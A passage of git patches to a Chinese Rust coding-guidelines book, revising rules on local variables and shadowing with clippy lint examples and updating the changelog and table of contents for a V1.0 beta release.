debug_assert_eq! 中包含可变引用的调用, // 也会因为 debug_assert_ 系列的断言宏在 Release 下产生不可预料的结果,它是 unsafe 的 debug_assert_eq!(vec![3].pop(), Some(3)); @@ -31,6 +33,8 @@ 来自标准库 `slice` 的代码示例。 ```rust + #![warn(clippy::debug_assert_with_mut_call)] + // 符合 pub fn split_at_mut(&mut self, mid: usize) -> (&mut [T], &mut [T]) { assert!(mid <= self.len()); // 判断边界条件,杜绝非法参数 // SAFETY: `[ptr; mid]` and `[mid; len]` are inside `self`, which diff --git a/src/safe-guides/coding_practice/variables.md b/src/safe-guides/coding_practice/variables.md index 80ec1535..651be521 100644 --- a/src/safe-guides/coding_practice/variables.md +++ b/src/safe-guides/coding_practice/variables.md @@ -1,14 +1,12 @@ -# 3.3 变量 +# 3.3 本地变量 这里所说的变量单指局部变量而不包括全局变量。 默认情况下,Rust 会强制初始化所有变量的值,以防止使用未初始化的内存。 -变量命名风格指南请看 [编码风格-命名](../code_style/naming.md) - ## 列表 - [P.VAR.01 一般情况下避免先声明可变变量再赋值](./variables/P.VAR.01.md) - [P.VAR.02 利用变量遮蔽功能保证变量安全使用](./variables/P.VAR.02.md) -- [G.VAR.01 以解构元组方式定义多个变量时不应使用太多无意义变量名](./variables/G.VAR.01.md) +- [G.VAR.01 以解构元组方式定义超过四个变量时不应使用太多无意义变量名](./variables/G.VAR.01.md) - [G.VAR.02 不应使用非 ASCII 字符作为标识符](./variables/G.VAR.02.md) - [G.VAR.03 变量遮蔽功能应当合理使用](./variables/G.VAR.03.md) -- [G.VAR.04 避免因局部变量导致的大量栈分配](./variables/G.VAR.04.md) \ No newline at end of file +- [G.VAR.04 避免因局部变量过大而导致的大量栈分配](./variables/G.VAR.04.md) \ No newline at end of file diff --git a/src/safe-guides/coding_practice/variables/G.VAR.01.md b/src/safe-guides/coding_practice/variables/G.VAR.01.md index d9bda94f..b349aa84 100644 --- a/src/safe-guides/coding_practice/variables/G.VAR.01.md +++ b/src/safe-guides/coding_practice/variables/G.VAR.01.md @@ -1,21 +1,16 @@ -## G.VAR.01 以解构元组方式定义多个变量时不应使用太多无意义变量名 +## G.VAR.01 以解构元组方式定义超过四个变量时不应使用太多无意义变量名 **【级别】** 建议 **【描述】** -在以解构元组的方式定义多个变量时,变量命可能是无特别语义的,如用单个字符表示的临时变量。但是不宜使用过多无意义变量名。 - -该 lint 对应 `clippy.toml` 配置项: - -```toml -# 修改可以绑定的单个字符变量名最大数量。默认为 4 -single-char-binding-names-threshold=4 -``` +在以解构元组的方式定义超过四个变量时,变量名可能是无特别语义的,如用单个字符表示的临时变量。但是不宜使用过多无意义变量名。 **【反例】** ```rust +#![warn(clippy::many_single_char_names)] +// 不符合 let (a, b, c, d, e, f, g) = (...); ``` @@ -24,6 +19,8 @@ let (a, b, c, d, e, f, g) = (...); 元组元素超过三个的,建议使用包含语义的变量命。 ```rust +#![warn(clippy::many_single_char_names)] +// 符合 let (width, high, len, shape, color, status) = (...); ``` @@ -33,3 +30,9 @@ let (width, high, len, shape, color, status) = (...); | ------------------------------------------------------------ | ------------- | ------------ | ---------- | ----- | | [many_single_char_names](https://rust-lang.github.io/rust-clippy/master/#many_single_char_names) | yes | no | pedantic | allow | +该 lint 对应 `clippy.toml` 配置项: + +```toml +# 修改可以绑定的单个字符变量名最大数量。默认为 4 +single-char-binding-names-threshold=4 +``` \ No newline at end of file diff --git a/src/safe-guides/coding_practice/variables/G.VAR.02.md b/src/safe-guides/coding_practice/variables/G.VAR.02.md index d1ec93a5..8a4a20fa 100644 --- a/src/safe-guides/coding_practice/variables/G.VAR.02.md +++ b/src/safe-guides/coding_practice/variables/G.VAR.02.md @@ -6,11 +6,12 @@ Rust 语言默认支持 Non ASCII 字符作为合法标识符。但是,为了统一团队代码风格,建议使用最常用的 ASCII 字符作为合法标识符。 -此外,通常**命名相关**的 Lint 检查只支持英文命名。 +> 此外,通常**命名相关**的 Clippy Lint 检查只支持英文命名。 **【反例】** ```rust +// 不符合 #[derive(Debug)] struct 人 { /// 普通话 @@ -51,6 +52,7 @@ fn main () { **【正例】** ```rust +// 符合 #[derive(Debug)] struct People { name: String, diff --git a/src/safe-guides/coding_practice/variables/G.VAR.03.md b/src/safe-guides/coding_practice/variables/G.VAR.03.md index 6579a53a..c2b08ccb 100644 --- a/src/safe-guides/coding_practice/variables/G.VAR.03.md +++ b/src/safe-guides/coding_practice/variables/G.VAR.03.md @@ -13,74 +13,62 @@ **【反例】** ```rust -let x = 2; -let x = x + 1; // 将会改变x的值 - -let x = &x; // 只是改变引用级别 - -let x = y; // 更早的绑定 -let x = z; // 遮蔽了更早的绑定 - -// or +#![warn(clippy::shadow_reuse, clippy::shadow_same, clippy::shadow_unrelated)] fn main() { let mut a = 0; { - // 这里使用变量遮蔽逻辑已经被改变 + // 不符合:这里使用变量遮蔽,代码逻辑已经被改变 + // clippy::shadow_unrelated let a = 42; } a; // use a again + + let x = 2; + // 不符合: 将会改变x的值 + // clippy::shadow_reuse + let x = x + 1; + + // 不符合:只是改变引用级别 + // clippy::shadow_same + let x = &x; + + let y = 1; + // 不符合:这里使用变量遮蔽逻辑已经被改变 + // clippy::shadow_unrelated + let x = y; // 更早的绑定 + let z = 2; + // 不符合:这里使用变量遮蔽逻辑已经被改变 + // clippy::shadow_unrelated + let x = z; // 遮蔽了更早的绑定 } ``` **【正例】** ```rust -let x = 2; -let y = x + 1; // 不改变x的值,声明新的变量y - -let y = &x; // 不改变x的绑定,声明新的变量 - -let w = z; // 使用不同的名字 - -// or +#![warn(clippy::shadow_reuse, clippy::shadow_same, clippy::shadow_unrelated)] fn main() { let mut a = 0; { - // do something + // 符合 a = 42; } a;// use a again -} -``` -**【例外】** -在某些场景,可能会临时准备或处理一些数据,但在此之后,数据只用于检查而非修改。 + let x = 2; + let y = x + 1; // 符合: 不改变x的值,声明新的变量y -那么可以将其通过变量遮蔽功能,重写绑定为不可变变量,来表明这种 临时可变,但后面不变的意图。 -```rust -// 不建议用法 -let data = { - let mut data = get_vec(); - data.sort(); - data // 虽然后面不再改动,但代码语义上没有表现出来先改变,后不变那种顺序语义 -}; - -// Here `data` is immutable. + let ref_x = &x; // 符合:不改变x的绑定,声明新的变量 + let z = 2; + let w = z; // 符合: 使用不同的名字 +} ``` -```rust -// 建议用法 -let mut data = get_vec(); -data.sort(); // 临时需要排序 -let data = data; // 由编译器确保后面不再改动 - -// Here `data` is immutable. -``` **【Lint 检测】** diff --git a/src/safe-guides/coding_practice/variables/G.VAR.04.md b/src/safe-guides/coding_practice/variables/G.VAR.04.md index 04708bf9..25b293c5 100644 --- a/src/safe-guides/coding_practice/variables/G.VAR.04.md +++ b/src/safe-guides/coding_practice/variables/G.VAR.04.md @@ -1,10 +1,12 @@ -## G.VAR.05 避免因局部变量导致的大量栈分配 +## G.VAR.04 避免因局部变量过大而导致的大量栈分配 **【级别】** 建议 **【描述】** -Rust 局部变量默认分配在栈上。当局部变量占用栈空间过大时,会栈溢出,可以采用`Box`使变量在堆上分配。 +Rust 局部变量默认分配在栈上。当局部变量占用栈空间过大时,会栈溢出。 + +采用`Box`分配也可能出现栈溢出,参见[issues #53827](https://github.com/rust-lang/rust/issues/53827),因为目前 `Box`的行为是先在栈上分配然后再复制到堆上。 Rust 默认栈分配空间为: @@ -18,23 +20,18 @@ Rust 默认栈分配空间为: **【反例】** ```rust -let _: [i32; 8000] = [1; 8000]; +fn main() { + // 不符合:运行时会栈溢出 + let a = [-1; 3000000]; + // or + // 不符合:运行时会栈溢出 + let a = Box::new([-1; 3000000]); +} ``` **【正例】** ```rust -let _: Box<[i32; 8000]> = Box::new([1; 8000]); +// 符合:栈大小适中 +let _: [i32; 8000] = [1; 8000]; ``` - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| ------------------------------------------------------------ | ------------- | ------------ | ---------- | ----- | -| _ | no | no | _ | yes | - -**【定制化参考】** - -这条规则如果需要定制Lint,则可以分别检测每个局部变量占用的栈空间,并统计总体占用情况,进行告警。 -局部变量占用栈空间的告警阈值默认是 2MB,但是用户可以按需配置该值。 - diff --git a/src/safe-guides/coding_practice/variables/P.VAR.01.md b/src/safe-guides/coding_practice/variables/P.VAR.01.md index 6c2757e8..7c0a163d 100644 --- a/src/safe-guides/coding_practice/variables/P.VAR.01.md +++ b/src/safe-guides/coding_practice/variables/P.VAR.01.md @@ -2,15 +2,13 @@ **【描述】** -一般情况下,不要先声明一个可变的变量,然后在后续过程中再去改变它的值,这可能来自于 C 语言的习惯,但 Rust 中不推荐这样使用。 - -一般情况下,声明一个变量的时候,要对其进行初始化。如果后续可能会改变其值,要考虑优先使用变量遮蔽(继承式可变)功能。如果需要在一个子作用域内改变其值,再使用可变绑定或可变引用。 +一般情况下,不要先声明一个可变的变量,然后在后续过程中再去改变它的值。声明一个变量的时候,要对其进行初始化。如果后续可能会改变其值,要考虑优先使用变量遮蔽(继承式可变)功能。如果需要在一个子作用域内改变其值,再使用可变绑定或可变引用。 **【反例】** ```rust - -let base : u8; +// 不符合 +let mut base : u8; if cfg!(not(USB_PROTOCOL_NEW_ARCH)) { base = other_instance.base; } else { @@ -21,9 +19,10 @@ if cfg!(not(USB_PROTOCOL_NEW_ARCH)) { **【正例】** ```rust +// 符合 let base : u8 = if cfg!(not(USB_PROTOCOL_NEW_ARCH)) { - base = other_instance.base; + other_instance.base } else { - base = 42u8; + 42u8 } ``` \ No newline at end of file diff --git a/src/safe-guides/coding_practice/variables/P.VAR.02.md b/src/safe-guides/coding_practice/variables/P.VAR.02.md index 8cdaf9bb..e0d3737d 100644 --- a/src/safe-guides/coding_practice/variables/P.VAR.02.md +++ b/src/safe-guides/coding_practice/variables/P.VAR.02.md @@ -4,28 +4,32 @@ 在某些场景,可能会临时准备或处理一些数值,但在此之后,数据只用于检查而非修改。 -那么可以将其通过变量遮蔽功能,重写绑定为不可变变量,来表明这种临时可变,但后面不变的意图。 +那么可以将其通过变量遮蔽功能,重新绑定为不可变变量,来表明这种临时可变,但后面不变的意图。 -**【正例】** - -```rust -let mut data = get_vec(); -data_sort(); //临时需要排序 -let data = data; // 后面就不需要改动了,由编译器可以确保 - -// Here `data` is immutable -``` **【反例】** ```rust +// 不符合:代码语义上没有表现出来先改变,后不变那种顺序语义 let data = { let mut data = get_vec(); data.sort(); - data // 虽然后面不再改动,但代码语义上没有表现出来先改变,后不变那种顺序语义 + data } -// Here `data` is immutable +// `data` 在后面不会再被改变 ``` ---- \ No newline at end of file +**【正例】** + +```rust +// 符合 +let mut data = get_vec(); +data_sort(); //临时需要排序 +let data = data; // 符合: 后面就不需要改动了,由编译器可以确保 + +// `data` 在后面不会再被改变 +``` + + + diff --git a/src/safe-guides/overview/convention.md b/src/safe-guides/overview/convention.md index 325289d8..1fbf6664 100644 --- a/src/safe-guides/overview/convention.md +++ b/src/safe-guides/overview/convention.md @@ -53,7 +53,7 @@ Number 从`01`开始递增。其中 `Element` 为领域知识中关键元素( | FMT | 格式 (Format) | TYP | 数据类型 (Data Type) | | CNS | 常量 (Const) | VAR | 变量 (Variables) | | EXP | 表达式 (Expression) | CTF | 控制流程 (Control Flow) | -| RFE | 引用 (Reference) | PTR | 指针 (Pointer) | +| REF | 引用 (Reference) | PTR | 指针 (Pointer) | | STR | 字符串 (String) | INT | 整数 (Integer) | | MOD | 模块 (Module) | CAR | 包管理 (Cargo) | | MEM | 内存 (Memory) | FUD | 函数设计 (Function Design) | From 8da5a5ca53862a42c912bcaae9babe9635e5acc7 Mon Sep 17 00:00:00 2001 From: blackanger Date: Tue, 12 Apr 2022 13:25:33 +0800 Subject: [PATCH 08/10] update to 1.0 beta --- Changelog.md | 10 +- README.md | 1 + book.toml | 2 +- src/SUMMARY.md | 500 +++++++++--------- src/overview.md | 1 + src/safe-guides/code_style/comments.md | 12 - src/safe-guides/code_style/fmt.md | 19 - src/safe-guides/code_style/fmt/P.FMT.02.md | 2 +- src/safe-guides/code_style/naming.md | 15 - .../coding_practice/async-await.md | 11 +- .../coding_practice/async-await/G.ASY.01.md | 2 +- src/safe-guides/coding_practice/cargo.md | 13 +- .../coding_practice/collections.md | 4 - src/safe-guides/coding_practice/consts.md | 7 - .../coding_practice/control-flow.md | 8 - src/safe-guides/coding_practice/data-type.md | 55 -- .../coding_practice/data-type/array.md | 6 - .../coding_practice/data-type/bool.md | 9 - .../coding_practice/data-type/char.md | 6 - .../coding_practice/data-type/enum.md | 9 - .../coding_practice/data-type/float.md | 7 - .../coding_practice/data-type/int.md | 7 - .../coding_practice/data-type/slice.md | 4 - .../coding_practice/data-type/struct.md | 8 - .../coding_practice/data-type/tuple.md | 3 - .../coding_practice/data-type/vec.md | 5 - .../coding_practice/error-handle.md | 6 - src/safe-guides/coding_practice/expr.md | 8 - .../coding_practice/expr/G.EXP.04.md | 2 +- src/safe-guides/coding_practice/fn-design.md | 10 - src/safe-guides/coding_practice/generic.md | 9 - src/safe-guides/coding_practice/io.md | 4 - src/safe-guides/coding_practice/macros.md | 23 - src/safe-guides/coding_practice/memory.md | 13 - src/safe-guides/coding_practice/module.md | 10 - src/safe-guides/coding_practice/no-std.md | 4 - .../coding_practice/no-std/P.EMB.02.md | 2 +- src/safe-guides/coding_practice/others.md | 4 - src/safe-guides/coding_practice/security.md | 10 - src/safe-guides/coding_practice/statics.md | 3 - src/safe-guides/coding_practice/strings.md | 12 - src/safe-guides/coding_practice/threads.md | 11 - .../threads/lock/G.MTH.LCK.02.md | 2 +- src/safe-guides/coding_practice/traits.md | 18 - .../coding_practice/unsafe_rust.md | 54 +- .../coding_practice/unsafe_rust/P.UNS.01.md | 2 +- .../unsafe_rust/mem/P.UNS.MEM.02.md | 2 +- .../unsafe_rust/mem/P.UNS.MEM.03.md | 2 +- .../unsafe_rust/safe_abstract/G.UNS.SAS.02.md | 2 +- .../unsafe_rust/safe_abstract/P.UNS.SAS.04.md | 2 +- .../unsafe_rust/safe_abstract/P.UNS.SAS.05.md | 2 +- .../unsafe_rust/safe_abstract/P.UNS.SAS.09.md | 2 +- src/safe-guides/coding_practice/variables.md | 8 - 53 files changed, 277 insertions(+), 676 deletions(-) diff --git a/Changelog.md b/Changelog.md index 3db93f43..086c484e 100644 --- a/Changelog.md +++ b/Changelog.md @@ -16,4 +16,12 @@ - 将当前无法使用 Clippy 检查的规则(G)统一修改为了原则(P) - 删除和修复一些条款 -- 新增 信息安全 `P.SEC.01` 条款 \ No newline at end of file +- 新增 信息安全 `P.SEC.01` 条款 + + +## V 1.0 beta 发布 + +改进: + +- 更新目录结构 +- 对文字和代码整体做了一遍评审,改进文字描述和代码格式 \ No newline at end of file diff --git a/README.md b/README.md index a6e9c1f4..493d0bf4 100644 --- a/README.md +++ b/README.md @@ -5,6 +5,7 @@ - 《Rust 编码规范》初稿发布 2021-10-31 (V 0.1) - 《Rust 编码规范》经社区和公司内第一次评审版本发布 2022-02 (V 0.2) ,改进内容参考 [Changelog](./Changelog.md)。 - 《Rust 编码规范》经社区和公司内第二次评审版本发布 2022-03 (V 0.3) ,改进内容参考 [Changelog](./Changelog.md)。 +- 《Rust 编码规范》经社区和公司内第二次评审版本发布 2022-04 (V 1.0 beta) ,改进内容参考 [Changelog](./Changelog.md)。 ## 介绍 diff --git a/book.toml b/book.toml index 7d79fe19..13b861b2 100644 --- a/book.toml +++ b/book.toml @@ -3,7 +3,7 @@ authors = ["blackanger"] language = "zh" multilingual = false src = "src" -title = "Rust 编码规范 V 0.3" +title = "Rust 编码规范 V 1.0 beta" [build] create-missing = true diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 1eb0d953..d769323b 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -5,309 +5,309 @@ - [编码规范基本约定](./safe-guides/overview/convention.md) - [代码风格](./safe-guides/code_style.md) - [命名](./safe-guides/code_style/naming.md) - - [P.NAM.01](./safe-guides/code_style/naming/P.NAM.01.md) - - [P.NAM.02](./safe-guides/code_style/naming/P.NAM.02.md) - - [P.NAM.03](./safe-guides/code_style/naming/P.NAM.03.md) - - [P.NAM.04](./safe-guides/code_style/naming/P.NAM.04.md) - - [P.NAM.05](./safe-guides/code_style/naming/P.NAM.05.md) - - [P.NAM.06](./safe-guides/code_style/naming/P.NAM.06.md) - - [P.NAM.07](./safe-guides/code_style/naming/P.NAM.07.md) - - [P.NAM.08](./safe-guides/code_style/naming/P.NAM.08.md) - - [P.NAM.09](./safe-guides/code_style/naming/P.NAM.09.md) - - [G.NAM.01](./safe-guides/code_style/naming/G.NAM.01.md) - - [G.NAM.02](./safe-guides/code_style/naming/G.NAM.02.md) + - [P.NAM.01 同一个crate中标识符的命名规则应该使用统一的词序](./safe-guides/code_style/naming/P.NAM.01.md) + - [P.NAM.02 为 cargo feature 命名时不应含有无意义的占位词](./safe-guides/code_style/naming/P.NAM.02.md) + - [P.NAM.03 标识符命名应该符合阅读习惯](./safe-guides/code_style/naming/P.NAM.03.md) + - [P.NAM.04 作用域越大命名越精确,反之应简短](./safe-guides/code_style/naming/P.NAM.04.md) + - [P.NAM.05 用于访问或获取数据的 getter 类方法通常不要使用 get_ 前缀](./safe-guides/code_style/naming/P.NAM.05.md) + - [P.NAM.06 遵循 iter/ iter_mut/ into_iter 规范来生成迭代器](./safe-guides/code_style/naming/P.NAM.06.md) + - [P.NAM.07 避免使用语言内置保留字、关键字、内置类型和trait等特殊名称](./safe-guides/code_style/naming/P.NAM.07.md) + - [P.NAM.08 避免在变量的命名中添加类型标识](./safe-guides/code_style/naming/P.NAM.08.md) + - [P.NAM.09 定义全局静态变量时需加前缀G_以便和常量有所区分](./safe-guides/code_style/naming/P.NAM.09.md) + - [G.NAM.01 使用统一的命名风格](./safe-guides/code_style/naming/G.NAM.01.md) + - [G.NAM.02 类型转换函数命名需要遵循所有权语义](./safe-guides/code_style/naming/G.NAM.02.md) - [格式](./safe-guides/code_style/fmt.md) - - [P.FMT.01](./safe-guides/code_style/fmt/P.FMT.01.md) - - [P.FMT.02](./safe-guides/code_style/fmt/P.FMT.02.md) - - [P.FMT.03](./safe-guides/code_style/fmt/P.FMT.03.md) - - [P.FMT.04](./safe-guides/code_style/fmt/P.FMT.04.md) - - [P.FMT.05](./safe-guides/code_style/fmt/P.FMT.05.md) - - [P.FMT.06](./safe-guides/code_style/fmt/P.FMT.06.md) - - [P.FMT.07](./safe-guides/code_style/fmt/P.FMT.07.md) - - [P.FMT.08](./safe-guides/code_style/fmt/P.FMT.08.md) - - [P.FMT.09](./safe-guides/code_style/fmt/P.FMT.09.md) - - [P.FMT.10](./safe-guides/code_style/fmt/P.FMT.10.md) - - [P.FMT.11](./safe-guides/code_style/fmt/P.FMT.11.md) - - [P.FMT.12](./safe-guides/code_style/fmt/P.FMT.12.md) - - [P.FMT.13](./safe-guides/code_style/fmt/P.FMT.13.md) - - [P.FMT.14](./safe-guides/code_style/fmt/P.FMT.14.md) - - [P.FMT.15](./safe-guides/code_style/fmt/P.FMT.15.md) - - [P.FMT.16](./safe-guides/code_style/fmt/P.FMT.16.md) + - [P.FMT.01 使用 rustfmt 进行自动格式化代码](./safe-guides/code_style/fmt/P.FMT.01.md) + - [P.FMT.02 缩进使用空格而非制表符](./safe-guides/code_style/fmt/P.FMT.02.md) + - [P.FMT.03 行间距最大宽度空一行](./safe-guides/code_style/fmt/P.FMT.03.md) + - [P.FMT.04 语言项(Item) 定义时左花括号(brace)位置应该与语言项保持同一行](./safe-guides/code_style/fmt/P.FMT.04.md) + - [P.FMT.05 存在多个标识符时应该保持块状(Block)缩进](./safe-guides/code_style/fmt/P.FMT.05.md) + - [P.FMT.06 当有多行表达式操作时,操作符应该置于行首](./safe-guides/code_style/fmt/P.FMT.06.md) + - [P.FMT.07 枚举变体和结构体字段都应左对齐](./safe-guides/code_style/fmt/P.FMT.07.md) + - [P.FMT.08 函数参数超过五个或导入模块个数超过四个需换行](./safe-guides/code_style/fmt/P.FMT.08.md) + - [P.FMT.09 不同的场景,使用不同的空格风格](./safe-guides/code_style/fmt/P.FMT.09.md) + - [P.FMT.10 match 分支应该具有良好的可读性](./safe-guides/code_style/fmt/P.FMT.10.md) + - [P.FMT.11 导入模块分组应该具有良好的可读性](./safe-guides/code_style/fmt/P.FMT.11.md) + - [P.FMT.12 声明宏分支应该具有良好的可读性](./safe-guides/code_style/fmt/P.FMT.12.md) + - [P.FMT.13 具名结构体字段初始化时不要省略字段名](./safe-guides/code_style/fmt/P.FMT.13.md) + - [P.FMT.14 extern 外部函数需要显式指定 C-ABI](./safe-guides/code_style/fmt/P.FMT.14.md) + - [P.FMT.15 解构元组的时候允许使用..来指代剩余元素](./safe-guides/code_style/fmt/P.FMT.15.md) + - [P.FMT.16 不要将派生宏中多个不相关的特质合并为同一行](./safe-guides/code_style/fmt/P.FMT.16.md) - [注释](./safe-guides/code_style/comments.md) - - [P.CMT.01](./safe-guides/code_style/comments/P.CMT.01.md) - - [P.CMT.02](./safe-guides/code_style/comments/P.CMT.02.md) - - [P.CMT.03](./safe-guides/code_style/comments/P.CMT.03.md) - - [P.CMT.04](./safe-guides/code_style/comments/P.CMT.04.md) - - [P.CMT.05](./safe-guides/code_style/comments/P.CMT.05.md) - - [G.CMT.01](./safe-guides/code_style/comments/G.CMT.01.md) - - [G.CMT.02](./safe-guides/code_style/comments/G.CMT.02.md) - - [G.CMT.03](./safe-guides/code_style/comments/G.CMT.03.md) + - [P.CMT.01 代码能做到自注释,文档要干练简洁](./safe-guides/code_style/comments/P.CMT.01.md) + - [P.CMT.02 注释应该有宽度限制](./safe-guides/code_style/comments/P.CMT.02.md) + - [P.CMT.03 使用行注释而避免使用块注释](./safe-guides/code_style/comments/P.CMT.03.md) + - [P.CMT.04 文件头注释包含版权说明](./safe-guides/code_style/comments/P.CMT.04.md) + - [P.CMT.05 在注释中使用 FIXME 和 TODO 来帮助任务协作](./safe-guides/code_style/comments/P.CMT.05.md) + - [G.CMT.01 在公开的返回Result类型的函数文档中增加 Error 注释](./safe-guides/code_style/comments/G.CMT.01.md) + - [G.CMT.02 如果公开的API在某些情况下会发生Panic,则相应文档中需增加 Panic 注释](./safe-guides/code_style/comments/G.CMT.02.md) + - [G.CMT.03 在文档注释中要使用空格代替 tab](./safe-guides/code_style/comments/G.CMT.03.md) - [编码实践](./safe-guides/coding_practice.md) - [常量](./safe-guides/coding_practice/consts.md) - - [G.CNS.01](./safe-guides/coding_practice/consts/G.CNS.01.md) - - [G.CNS.02](./safe-guides/coding_practice/consts/G.CNS.02.md) - - [G.CNS.03](./safe-guides/coding_practice/consts/G.CNS.03.md) - - [G.CNS.04](./safe-guides/coding_practice/consts/G.CNS.04.md) - - [G.CNS.05](./safe-guides/coding_practice/consts/G.CNS.05.md) + - [G.CNS.01 对于科学计算中涉及浮点数近似值的常量宜使用预定义常量](./safe-guides/coding_practice/consts/G.CNS.01.md) + - [G.CNS.02 不应断言常量布尔类型](./safe-guides/coding_practice/consts/G.CNS.02.md) + - [G.CNS.03 不应将内部可变性容器声明为常量](./safe-guides/coding_practice/consts/G.CNS.03.md) + - [G.CNS.04 不应在常量定义中增加显式的 'static 生命周期](./safe-guides/coding_practice/consts/G.CNS.04.md) + - [G.CNS.05 对于适用 const fn 的函数或方法宜尽可能地使用 const fn](./safe-guides/coding_practice/consts/G.CNS.05.md) - [静态变量](./safe-guides/coding_practice/statics.md) - - [G.STV.01](./safe-guides/coding_practice/statics/G.STV.01.md) + - [G.STV.01 不宜直接使用可变静态变量作为全局变量](./safe-guides/coding_practice/statics/G.STV.01.md) - [本地变量](./safe-guides/coding_practice/variables.md) - - [P.VAR.01](./safe-guides/coding_practice/variables/P.VAR.01.md) - - [P.VAR.02](./safe-guides/coding_practice/variables/P.VAR.02.md) - - [G.VAR.01](./safe-guides/coding_practice/variables/G.VAR.01.md) - - [G.VAR.02](./safe-guides/coding_practice/variables/G.VAR.02.md) - - [G.VAR.03](./safe-guides/coding_practice/variables/G.VAR.03.md) - - [G.VAR.04](./safe-guides/coding_practice/variables/G.VAR.04.md) + - [P.VAR.01 一般情况下避免先声明可变变量再赋值](./safe-guides/coding_practice/variables/P.VAR.01.md) + - [P.VAR.02 利用变量遮蔽功能保证变量安全使用](./safe-guides/coding_practice/variables/P.VAR.02.md) + - [G.VAR.01 以解构元组方式定义超过四个变量时不应使用太多无意义变量名](./safe-guides/coding_practice/variables/G.VAR.01.md) + - [G.VAR.02 不应使用非 ASCII 字符作为标识符](./safe-guides/coding_practice/variables/G.VAR.02.md) + - [G.VAR.03 变量遮蔽功能应当合理使用](./safe-guides/coding_practice/variables/G.VAR.03.md) + - [G.VAR.04 避免因局部变量过大而导致的大量栈分配](./safe-guides/coding_practice/variables/G.VAR.04.md) - [数据类型](./safe-guides/coding_practice/data-type.md) - - [P.TYP.01](./safe-guides/coding_practice/data-type/P.TYP.01.md) - - [G.TYP.01](./safe-guides/coding_practice/data-type/G.TYP.01.md) - - [G.TYP.02](./safe-guides/coding_practice/data-type/G.TYP.02.md) - - [G.TYP.03](./safe-guides/coding_practice/data-type/G.TYP.03.md) + - [P.TYP.01 必要时,应使类型可以表达更明确的语义,而不是只是直接使用原生类型](./safe-guides/coding_practice/data-type/P.TYP.01.md) + - [G.TYP.01 类型转换尽可能使用安全的转换函数代替 as](./safe-guides/coding_practice/data-type/G.TYP.01.md) + - [G.TYP.02 数字字面量在使用的时候应该明确标注类型](./safe-guides/coding_practice/data-type/G.TYP.02.md) + - [G.TYP.03 不要用数字类型边界值判断能否安全转换,而应使用 try_from 方法](./safe-guides/coding_practice/data-type/G.TYP.03.md) - [布尔](./safe-guides/coding_practice/data-type/bool.md) - - [G.TYP.BOL.01](./safe-guides/coding_practice/data-type/bool/G.TYP.BOL.01.md) - - [G.TYP.BOL.02](./safe-guides/coding_practice/data-type/bool/G.TYP.BOL.02.md) - - [G.TYP.BOL.03](./safe-guides/coding_practice/data-type/bool/G.TYP.BOL.03.md) - - [G.TYP.BOL.04](./safe-guides/coding_practice/data-type/bool/G.TYP.BOL.04.md) - - [G.TYP.BOL.05](./safe-guides/coding_practice/data-type/bool/G.TYP.BOL.05.md) - - [G.TYP.BOL.06](./safe-guides/coding_practice/data-type/bool/G.TYP.BOL.06.md) + - [G.TYP.BOL.01 不应将布尔值和布尔字面量进行比较](./safe-guides/coding_practice/data-type/bool/G.TYP.BOL.01.md) + - [G.TYP.BOL.02 如果 match 匹配表达式为布尔类型,宜使用 if 表达式来代替](./safe-guides/coding_practice/data-type/bool/G.TYP.BOL.02.md) + - [G.TYP.BOL.03 不应将数字类型转换为布尔值](./safe-guides/coding_practice/data-type/bool/G.TYP.BOL.03.md) + - [G.TYP.BOL.04 禁止在if表达式条件中使用块结构](./safe-guides/coding_practice/data-type/bool/G.TYP.BOL.04.md) + - [G.TYP.BOL.05 非必要时,布尔运算应使用逻辑运算符( &&/||)而非位运算符 (&/|)](./safe-guides/coding_practice/data-type/bool/G.TYP.BOL.05.md) + - [G.TYP.BOL.06 不应使用数字代替布尔值](./safe-guides/coding_practice/data-type/bool/G.TYP.BOL.06.md) - [字符](./safe-guides/coding_practice/data-type/char.md) - - [G.TYP.CHR.01](./safe-guides/coding_practice/data-type/char/G.TYP.CHR.01.md) - - [G.TYP.CHR.02](./safe-guides/coding_practice/data-type/char/G.TYP.CHR.02.md) - - [G.TYP.CHR.03](./safe-guides/coding_practice/data-type/char/G.TYP.CHR.03.md) + - [G.TYP.CHR.01 不应将字符字面量强制转换为 u8](./safe-guides/coding_practice/data-type/char/G.TYP.CHR.01.md) + - [G.TYP.CHR.02 字符串方法中如果需要单个字符的值作为参数,宜使用字符而非字符串](./safe-guides/coding_practice/data-type/char/G.TYP.CHR.02.md) + - [G.TYP.CHR.03 需要将整数转换为字符时,应使用安全转换函数,而非 transmute](./safe-guides/coding_practice/data-type/char/G.TYP.CHR.03.md) - [整数](./safe-guides/coding_practice/data-type/int.md) - - [G.TYP.INT.01](./safe-guides/coding_practice/data-type/int/G.TYP.INT.01.md) - - [G.TYP.INT.02](./safe-guides/coding_practice/data-type/int/G.TYP.INT.02.md) - - [G.TYP.INT.03](./safe-guides/coding_practice/data-type/int/G.TYP.INT.03.md) + - [G.TYP.INT.01 在用整数计算的时候需要考虑整数溢出、回绕和截断的风险](./safe-guides/coding_practice/data-type/int/G.TYP.INT.01.md) + - [G.TYP.INT.02 避免在有符号整数和无符号整数之间进行强制转换](./safe-guides/coding_practice/data-type/int/G.TYP.INT.02.md) + - [G.TYP.INT.03 对负数取模计算的时候不应使用 %](./safe-guides/coding_practice/data-type/int/G.TYP.INT.03.md) - [浮点数](./safe-guides/coding_practice/data-type/float.md) - - [G.TYP.FLT.01](./safe-guides/coding_practice/data-type/float/G.TYP.FLT.01.md) - - [G.TYP.FLT.02](./safe-guides/coding_practice/data-type/float/G.TYP.FLT.02.md) - - [G.TYP.FLT.03](./safe-guides/coding_practice/data-type/float/G.TYP.FLT.03.md) - - [G.TYP.FLT.04](./safe-guides/coding_practice/data-type/float/G.TYP.FLT.04.md) - - [G.TYP.FLT.05](./safe-guides/coding_practice/data-type/float/G.TYP.FLT.05.md) + - [G.TYP.FLT.01 使用浮点数字面量时,要警惕是否存在被Rust编译器截断的风险](./safe-guides/coding_practice/data-type/float/G.TYP.FLT.01.md) + - [G.TYP.FLT.02 从任何数字类型转换为浮点类型时注意避免损失精度](./safe-guides/coding_practice/data-type/float/G.TYP.FLT.02.md) + - [G.TYP.FLT.03 对精度高要求的场景下,使用浮点数进行运算和比较时需要注意精度损失](./safe-guides/coding_practice/data-type/float/G.TYP.FLT.03.md) + - [G.TYP.FLT.04 宜使用Rust内置方法处理浮点数计算](./safe-guides/coding_practice/data-type/float/G.TYP.FLT.04.md) + - 